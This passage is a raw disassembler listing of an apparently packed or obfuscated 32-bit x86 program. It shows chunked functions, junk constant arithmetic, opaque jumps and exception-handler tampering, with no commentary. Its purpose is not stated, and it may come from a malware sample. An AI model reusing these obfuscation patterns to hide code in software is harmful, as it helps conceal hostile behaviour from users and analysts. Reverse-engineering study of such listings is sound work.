esi, 921074C9h mov [esi], eax pop esi jmp loc_424A1D ; END OF FUNCTION CHUNK FOR sub_42897B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_424F76: ; CODE XREF: hjohnhn9:00424A87j ; sub_427C9B-1B1Dj push 1388h push offset loc_42766A jmp loc_426870 ; END OF FUNCTION CHUNK FOR sub_427C9B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_424F86: ; CODE XREF: sub_424161+4473j jmp loc_423ECC ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_424F8B: ; CODE XREF: sub_423F65+B33j ja loc_4289BB loc_424F91: ; CODE XREF: sub_423F65:loc_4275EEj push 0A06EE95Dh pop eax sub eax, 0DA827FA8h add eax, 4B148C18h or eax, 71537494h add eax, 3DACEB06h jmp loc_427550 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_424FB4: ; CODE XREF: sub_42363F+3E60j and ebx, ecx loc_424FB6: ; CODE XREF: sub_42363F:loc_424860j call sub_424877 mov edx, 0F2B89A19h call sub_4279ED push ebx push eax pop ebx xchg ebx, [esp+8+var_8] jmp loc_4265C3 ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- mov [eax], ecx sbb ecx, 0E452135Dh jmp sub_4280D2 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428E98 loc_424FDE: ; CODE XREF: sub_428E98-3FBj jmp nullsub_90 ; END OF FUNCTION CHUNK FOR sub_428E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_424FE3: ; CODE XREF: sub_423BC3+253Aj jmp loc_428C84 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427345 loc_424FE8: ; CODE XREF: sub_427345-3DB9j jmp nullsub_117 ; END OF FUNCTION CHUNK FOR sub_427345 ; --------------------------------------------------------------------------- push edi mov edi, ebp xchg edi, [esp] mov ebp, esp push edi mov edi, ecx xchg edi, [esp] jmp loc_4268B3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_425001: ; CODE XREF: sub_424698:loc_423928j xchg ebx, [esp+0] call sub_42345B retn ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- loc_42500A: ; CODE XREF: hjohnhn9:0042796Bj jmp loc_4232F7 ; --------------------------------------------------------------------------- push 0E0FE72Bh pop eax and eax, 9D4E0989h xor eax, 4D20C620h rol eax, 1Ch jmp loc_424B11 ; =============== S U B R O U T I N E ======================================= sub_425029 proc near ; CODE XREF: hjohnhn9:0042622Fj ; sub_427F90+512p ; FUNCTION CHUNK AT 00423AE9 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00426AD1 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004270BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042712D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042737B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428244 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428823 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00428999 SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx cmp byte ptr [eax], 0 jnz loc_42712D mov eax, [ebp-4] mov [ebp-0Ch], eax shl dword ptr [ebp-8], 8 loc_425040: ; CODE XREF: sub_424631:loc_4249B5j ; sub_425029:loc_427135j jns loc_426AD1 jmp loc_428244 sub_425029 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dd 0FFE2D986h, 0E6D8E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_425056: ; CODE XREF: sub_4263E3+2637j jge loc_427E45 ror ebp, 1Eh cmp ecx, edx jmp loc_426C9B ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- loc_425066: ; CODE XREF: hjohnhn9:loc_4261ECj jnz loc_425CE7 jmp loc_427989 ; --------------------------------------------------------------------------- loc_425071: ; DATA XREF: hjohnhn9:loc_427775o jmp loc_421AA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_425076: ; CODE XREF: sub_427C9B:loc_424496j ; sub_423CDB+2A9Fj jmp loc_426D2F ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_42507B: ; CODE XREF: sub_4279C0-1A58j jmp loc_425E85 ; END OF FUNCTION CHUNK FOR sub_4279C0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 88h, 6, 2Ah db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFCCh jmp loc_423DCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_425091: ; CODE XREF: sub_42466E:loc_42384Cj push 0B0A77BC4h pop ebx or ebx, 86A635F3h cmp ebx, 0E442EBFh jmp loc_427DC7 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_4250A8: ; CODE XREF: sub_4263E3+1C0Dj push ecx mov ecx, eax xchg ecx, [esp+4+var_4] retn ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4246DB loc_4250AF: ; CODE XREF: sub_4246DB+Dj jmp nullsub_12 ; END OF FUNCTION CHUNK FOR sub_4246DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4250B4: ; CODE XREF: sub_423B05-8E1j mov eax, [ebp-8] call sub_424771 jmp loc_4263DE ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- loc_4250C1: ; CODE XREF: hjohnhn9:00426DE5j xchg ebx, edi ; =============== S U B R O U T I N E ======================================= sub_4250C3 proc near ; CODE XREF: sub_423CDB+2B29p ; FUNCTION CHUNK AT 00428D2E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428F58 SIZE 00000014 BYTES xchg esi, [esp+0] pop esi mov [ebp-0Ch], eax jmp loc_428D2E sub_4250C3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426211 loc_4250CF: ; CODE XREF: sub_426211:loc_423241j jz loc_424526 ; END OF FUNCTION CHUNK FOR sub_426211 ; START OF FUNCTION CHUNK FOR sub_426A78 loc_4250D5: ; CODE XREF: sub_426A78-385Bj jmp loc_428EDE ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- add ebp, 0E99035BCh xchg ebx, [ecx] mov [edx], edi jmp loc_424526 ; --------------------------------------------------------------------------- popf jmp sub_425CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_4250EF: ; CODE XREF: sub_426A78:loc_427707j or eax, eax jnz loc_42377B jmp loc_428994 ; END OF FUNCTION CHUNK FOR sub_426A78 ; =============== S U B R O U T I N E ======================================= sub_4250FC proc near ; DATA XREF: sub_4287BF-5122o var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00423114 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00423361 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004234A7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424D11 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004268DB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426912 SIZE 00000012 BYTES cmp dword ptr [ebp-8], 0 jle loc_4268DB mov eax, [ebp-4] xor edx, edx push edx push eax loc_42510D: ; CODE XREF: hjohnhn9:loc_426E86j ; sub_4287BF-157Ej mov eax, [ebp-8] cdq jmp loc_4234A7 sub_4250FC endp ; sp-analysis failed ; --------------------------------------------------------------------------- jo loc_424D3B jmp loc_427060 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D6A loc_425121: ; CODE XREF: sub_427D6A:loc_4231A3j xor edi, 6F7E9CD9h or edi, 0F497BCCDh add edi, 98A81ABh popf xchg edi, [esp-4+arg_0] jmp loc_42681D ; END OF FUNCTION CHUNK FOR sub_427D6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_42513C: ; CODE XREF: sub_426F5A:loc_426A0Ej jz loc_423E9B jmp loc_427B8D ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424335 loc_425147: ; CODE XREF: sub_424335:loc_428723j call sub_4238CC loc_42514C: ; CODE XREF: sub_4260BD+1662j ; sub_4278DC:loc_428571j add ecx, 88425BFDh mov [ecx], eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_424335 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_425156: ; CODE XREF: sub_427852+16A3j jmp loc_427F82 ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_42515B: ; CODE XREF: sub_4278DC:loc_42808Fj rol eax, 0Bh push eax jmp loc_42438A ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_425164: ; CODE XREF: sub_424631-754j ; sub_424631:loc_428E16j or [edx-8], eax jmp loc_424F28 ; --------------------------------------------------------------------------- loc_42516C: ; CODE XREF: sub_424631-74Bj ; sub_424631+1FF2j cmp dword ptr [ebp-10h], 1 jnz loc_425240 mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h jmp loc_428C44 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_425187: ; CODE XREF: sub_426A78:loc_428994j jz loc_4289DD jmp loc_427CB9 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- mov [ebp-8], eax push esi push 2CB06042h pop esi xor esi, 0E83D6BF8h jmp loc_4260EA ; --------------------------------------------------------------------------- loc_4251A7: ; CODE XREF: hjohnhn9:004246D6j jl loc_428DA6 jmp loc_425B52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4251B2: ; CODE XREF: sub_424161:loc_426C7Fj ; sub_424161+2B35j add eax, 14A21851h xchg eax, [esp+0] pushf push 33B0E27Ah pop eax sub eax, 0C07AC534h test eax, 800h jmp loc_42457E ; END OF FUNCTION CHUNK FOR sub_424161 ; =============== S U B R O U T I N E ======================================= sub_4251D3 proc near ; DATA XREF: sub_424354+3o var_4 = dword ptr -4 push ebp mov ebp, ecx xchg ebp, [esp+4+var_4] mov esp, ebp pop ebp call sub_4264CF loc_4251E1: ; CODE XREF: sub_4275F9+1Bj jmp nullsub_13 sub_4251D3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_4251E6: ; CODE XREF: sub_4262C5-2E55j jmp sub_427F43 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; =============== S U B R O U T I N E ======================================= sub_4251EB proc near ; DATA XREF: hjohnhn9:0042468Eo ; FUNCTION CHUNK AT 004232D1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00425FDC SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004283BA SIZE 00000005 BYTES xchg ecx, [esp+0] mov eax, ecx pop ecx and eax, 1FC491DEh rol eax, 5 test eax, 200000h jmp loc_4283BA sub_4251EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_425205: ; CODE XREF: sub_42325E+3B97j ja loc_42314E loc_42520B: ; CODE XREF: sub_42325E:loc_423A82j call sub_424877 mov edx, 0BB931B55h loc_425215: ; CODE XREF: sub_42363F:loc_427491j push ebx push 0DBB46803h jmp loc_427535 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_425220: ; CODE XREF: sub_423F65+7j mov eax, [ebp-4] push ebx mov ebx, eax xchg ebx, [esp+4+var_4] push eax push 0FBB90297h pop eax jmp loc_426C64 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_425235: ; CODE XREF: sub_424631:loc_428C44j mov edx, [ebp+8] mov [edx-8], eax jmp loc_424F28 ; --------------------------------------------------------------------------- loc_425240: ; CODE XREF: sub_424631+B3Fj cmp dword ptr [ebp-10h], 2 jnz loc_424F28 mov eax, [ebp+8] jmp loc_42692F ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_425252: ; CODE XREF: sub_423B05:loc_428C49j call sub_42645D loc_425257: ; DATA XREF: sub_423F77:loc_423F91o mov [ebp-4], eax mov eax, [ebp-4] movzx eax, byte ptr [eax] mov edx, [ebp+8] jmp loc_423BA1 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- shl eax, 12h jmp sub_427810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_425270: ; CODE XREF: sub_426354:loc_425E3Aj add ecx, 93576428h rol ecx, 1Eh add ecx, 0CD535342h call sub_428B28 ; END OF FUNCTION CHUNK FOR sub_426354 ; START OF FUNCTION CHUNK FOR sub_426B29 loc_425284: ; CODE XREF: sub_426B29+1j mov ebp, esp add esp, 0FFFFFFF4h mov [ebp-8], edx mov [ebp-4], eax cmp dword ptr [ebp-8], 0 jnz loc_427D8E mov eax, [ebp-4] mov [ebp-8], eax jmp loc_427D8E ; END OF FUNCTION CHUNK FOR sub_426B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_4252A4: ; CODE XREF: sub_423F65+368Fj adc esi, 6C713FDFh jmp loc_424A92 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427792 loc_4252AF: ; CODE XREF: sub_427792+Bj or ecx, ecx jz loc_4273B2 push offset sub_42304F jmp nullsub_29 ; END OF FUNCTION CHUNK FOR sub_427792 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] dw 2FFAh dword_4252C4 dd 0CE7006EFh ; DATA XREF: sub_427324:loc_4279D7w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_4252C8: ; CODE XREF: sub_428477:loc_4287BAj jmp loc_4239D0 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- db 29h, 4Fh, 29h dword_4252D0 dd 77E75CB5h ; DATA XREF: sub_423B05:loc_423505w ; hjohnhn9:00426E1Cr ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42873F loc_4252D4: ; CODE XREF: sub_42873F-54E6j jmp loc_427021 ; END OF FUNCTION CHUNK FOR sub_42873F ; --------------------------------------------------------------------------- db 28h, 18h, 41h dword_4252DC dd 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h, 40h ; DATA XREF: hjohnhn9:004237C3r ; sub_426354-15E1r ... dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h dd 40h, 2 dup(1), 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 401h, 4 dup(2), 0C0h, 40h, 0 dd 23h dup(1), 2 dup(2), 4 dup(0) dd 40h, 42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h dd 42h, 2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1) dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h) dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h) dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h dd 0A00h, 60h, 1A00h, 4 dup(1), 0 dd 1, 2 dup(0) dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2) dword_4256DC dd 2 ; DATA XREF: sub_426354-526r dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h) dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h) dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h) dd 3 dup(1), 2, 1C2h, 3 dup(2), 3 dup(1), 2, 1C2h, 0Bh dup(2) dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2) dd 1, 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2, 1, 2 dup(2) dd 2 dup(1), 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2 dd 1, 3 dup(2), 1, 2, 2 dup(1), 3 dup(2), 1, 3 dup(2) dd 1, 66EE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_425AE1: ; CODE XREF: sub_425BD2+1358j jmp loc_429008 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- dw 21B2h dword_425AE8 dd 77EB36A5h ; DATA XREF: sub_426D17:loc_4234F1w ; hjohnhn9:004237A4w dword_425AEC dd 0 ; DATA XREF: hjohnhn9:loc_424300o ; sub_427A58+7o ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_425AF0: ; CODE XREF: sub_427C9B+8Fj or ecx, 4D6C3C87h jnp loc_426AD7 loc_425AFC: ; CODE XREF: sub_426D02:loc_427458j lea edx, [ebp-14h] mov eax, offset dword_428AF4 call sub_427AEB jmp loc_42451C ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_425B0E: ; CODE XREF: sub_424631+3B11j jz loc_428B61 jmp loc_428BE3 ; END OF FUNCTION CHUNK FOR sub_424631 ; =============== S U B R O U T I N E ======================================= sub_425B19 proc near ; CODE XREF: sub_427C9B:loc_427CE0p ; FUNCTION CHUNK AT 00426A29 SIZE 00000002 BYTES push ebx push ecx call sub_426A30 mov esp, [esp+8] loc_425B24: ; CODE XREF: sub_426E8C-25B1j ; sub_426E8C-25A6j ... xor eax, eax loc_425B26: ; CODE XREF: sub_427032-7DEj pop large dword ptr fs:0 pop edx pop ecx jmp loc_426A29 sub_425B19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425B34 proc near ; DATA XREF: sub_426354+2863o add edx, 30h mov eax, [ebp-10h] mov [ebp+eax-20h], dl call sub_426523 loc_425B43: ; CODE XREF: sub_426D02+75Cj jmp loc_427D24 sub_425B34 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF2 loc_425B48: ; CODE XREF: sub_425BF2:loc_427266j mov [ecx], ebx xchg esi, [edx] jmp loc_4290BA ; END OF FUNCTION CHUNK FOR sub_425BF2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_425B52: ; CODE XREF: hjohnhn9:004251ADj jmp loc_423591 ; --------------------------------------------------------------------------- loc_425B57: ; CODE XREF: hjohnhn9:00428227j pop esi mov eax, ds:dword_428394 or eax, eax jnz loc_4270B6 jmp loc_42886C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_425B6B: ; CODE XREF: sub_426475-32A6j push esi pop ebp adc ebp, 815C8186h xchg eax, ebx loc_425B75: ; CODE XREF: sub_426475:loc_4231C3j xor ecx, 2A87C29Dh add ecx, 0DE0DEAC2h call sub_4280D2 ; END OF FUNCTION CHUNK FOR sub_426475 ; START OF FUNCTION CHUNK FOR sub_428CC9 loc_425B86: ; CODE XREF: sub_428CC9-4E9Ej add eax, 0B9CCE796h xor eax, 0F605D27Eh call sub_426961 ; END OF FUNCTION CHUNK FOR sub_428CC9 ; START OF FUNCTION CHUNK FOR sub_4284CB loc_425B97: ; CODE XREF: sub_4284CB+1Dj jmp loc_427FBA ; END OF FUNCTION CHUNK FOR sub_4284CB ; --------------------------------------------------------------------------- push ecx jmp loc_423556 ; --------------------------------------------------------------------------- loc_425BA2: ; DATA XREF: sub_424631+378Bo push eax cmp dword ptr [ebp-14h], 5 setz al call sub_42392D pop ecx shl eax, 3 jmp loc_4249BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_425BB8: ; CODE XREF: hjohnhn9:0042330Cj ; sub_424161+1F17j ... lea eax, [ebp-14h] push ebp mov ebp, eax xchg ebp, [esp+0] push 4 jmp loc_4279DE ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282F8 loc_425BC8: ; CODE XREF: sub_4282F8:loc_426189j push offset loc_42768A jmp loc_426A5D ; END OF FUNCTION CHUNK FOR sub_4282F8 ; =============== S U B R O U T I N E ======================================= sub_425BD2 proc near ; DATA XREF: sub_42859A-D0Fo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423082 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423F21 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00424266 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424454 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424517 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042476D SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042477C SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00424AB4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424E86 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00425AE1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425D5B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425F81 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426235 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004265B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004266A1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426EFE SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00427028 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427253 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427306 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004277E0 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00427881 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427951 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004286F1 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00428B34 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428CAA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428DA6 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00429008 SIZE 00000008 BYTES call sub_4279ED push eax loc_425BD8: ; CODE XREF: sub_428249:loc_427632j ror eax, 0Bh call sub_425F93 loc_425BE0: ; CODE XREF: hjohnhn9:loc_426344j jz loc_427951 jmp loc_424517 sub_425BD2 endp ; --------------------------------------------------------------------------- not esi jmp sub_428788 ; =============== S U B R O U T I N E ======================================= sub_425BF2 proc near ; CODE XREF: sub_427C9B-AF7p ; hjohnhn9:00427AE6j var_C = dword ptr -0Ch arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00425B48 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427260 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004281A3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 004290BA SIZE 00000015 BYTES xchg eax, [esp+0] pop eax mov eax, [eax] or eax, eax jnz loc_4260A9 jmp loc_427260 sub_425BF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_425C05: ; CODE XREF: sub_426354:loc_428388j mov eax, [ebp-1Ch] shl eax, 8 mov edx, [ebp-20h] movzx edx, byte ptr [edx] loc_425C11: ; CODE XREF: sub_4262C5:loc_428B67j or eax, edx jmp loc_427927 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_425C18: ; CODE XREF: sub_42355C+28BFj sbb ebx, 51ADD596h loc_425C1E: ; CODE XREF: sub_42355C:loc_425C40j call sub_424877 mov edx, 0F75CA70h call sub_4279ED push eax jmp loc_428542 ; END OF FUNCTION CHUNK FOR sub_42355C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_425C33: ; CODE XREF: sub_426F5A:loc_42365Dj push edx mov edx, eax call sub_42362A ; END OF FUNCTION CHUNK FOR sub_426F5A ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_425C3B: ; CODE XREF: sub_427AC0-33A9j jmp loc_4283A1 ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_425C40: ; CODE XREF: sub_42355C:loc_424E9Fj jz loc_425C1E jmp loc_425E06 ; END OF FUNCTION CHUNK FOR sub_42355C ; =============== S U B R O U T I N E ======================================= sub_425C4B proc near ; DATA XREF: hjohnhn9:00423B7Ao var_4 = dword ptr -4 xchg eax, [esp+0] push 1E9165C3h xchg ebp, [esp+4+var_4] sub_425C4B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424698 loc_425C56: ; CODE XREF: sub_424698+4554j mov ebx, ebp pop ebp and ebx, 0DFC7110Fh add ebx, 0E17EFEFDh jmp loc_423928 ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- test ecx, ebp jmp loc_42487D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor ecx, 95DB5AA9h jmp sub_423FB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_425C7D: ; CODE XREF: sub_42363F:loc_4279BBj mov esp, ebp pop ebp mov eax, ds:dword_428B18 or eax, eax jnz loc_426FC7 jmp loc_424860 ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- loc_425C93: ; CODE XREF: hjohnhn9:00423DCAj mov ebp, 13519D39h ; =============== S U B R O U T I N E ======================================= sub_425C98 proc near ; CODE XREF: sub_425E5A+5p ; FUNCTION CHUNK AT 004264F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042877D SIZE 0000000B BYTES xchg esi, [esp+0] pop esi push ecx mov ecx, eax jmp loc_4264F0 sub_425C98 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov [esi], eax jmp sub_425F93 ; --------------------------------------------------------------------------- ror edi, 4 jmp sub_428965 ; =============== S U B R O U T I N E ======================================= sub_425CB3 proc near ; CODE XREF: hjohnhn9:004250EAj ; sub_425BF2+34D2p var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 004232E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042383A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004240D4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004244B2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004267AC SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00427860 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00427B97 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push 0CE0AB7D1h xchg edx, [esp+0] mov ecx, edx pop edx loc_425CC2: ; CODE XREF: hjohnhn9:00424BBFj rol ecx, 1Fh xor ecx, 18FAA417h jmp loc_4232E6 sub_425CB3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4275A3 loc_425CD0: ; CODE XREF: sub_4275A3-1459j sub ebp, ebx loc_425CD2: ; CODE XREF: sub_4275A3:loc_426139j push offset loc_424DB0 jmp loc_4231A8 ; END OF FUNCTION CHUNK FOR sub_4275A3 ; --------------------------------------------------------------------------- loc_425CDC: ; CODE XREF: hjohnhn9:00427530j push eax ror eax, 14h mov ds:dword_4233AC, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_425CE7: ; CODE XREF: hjohnhn9:loc_425066j ; sub_427564+13A8j rol eax, 14h push esi mov esi, eax xchg esi, [esp+4+var_4] jmp nullsub_76 ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423753 loc_425CF5: ; CODE XREF: sub_423753+Ej jnz loc_428BAC jmp loc_427229 ; END OF FUNCTION 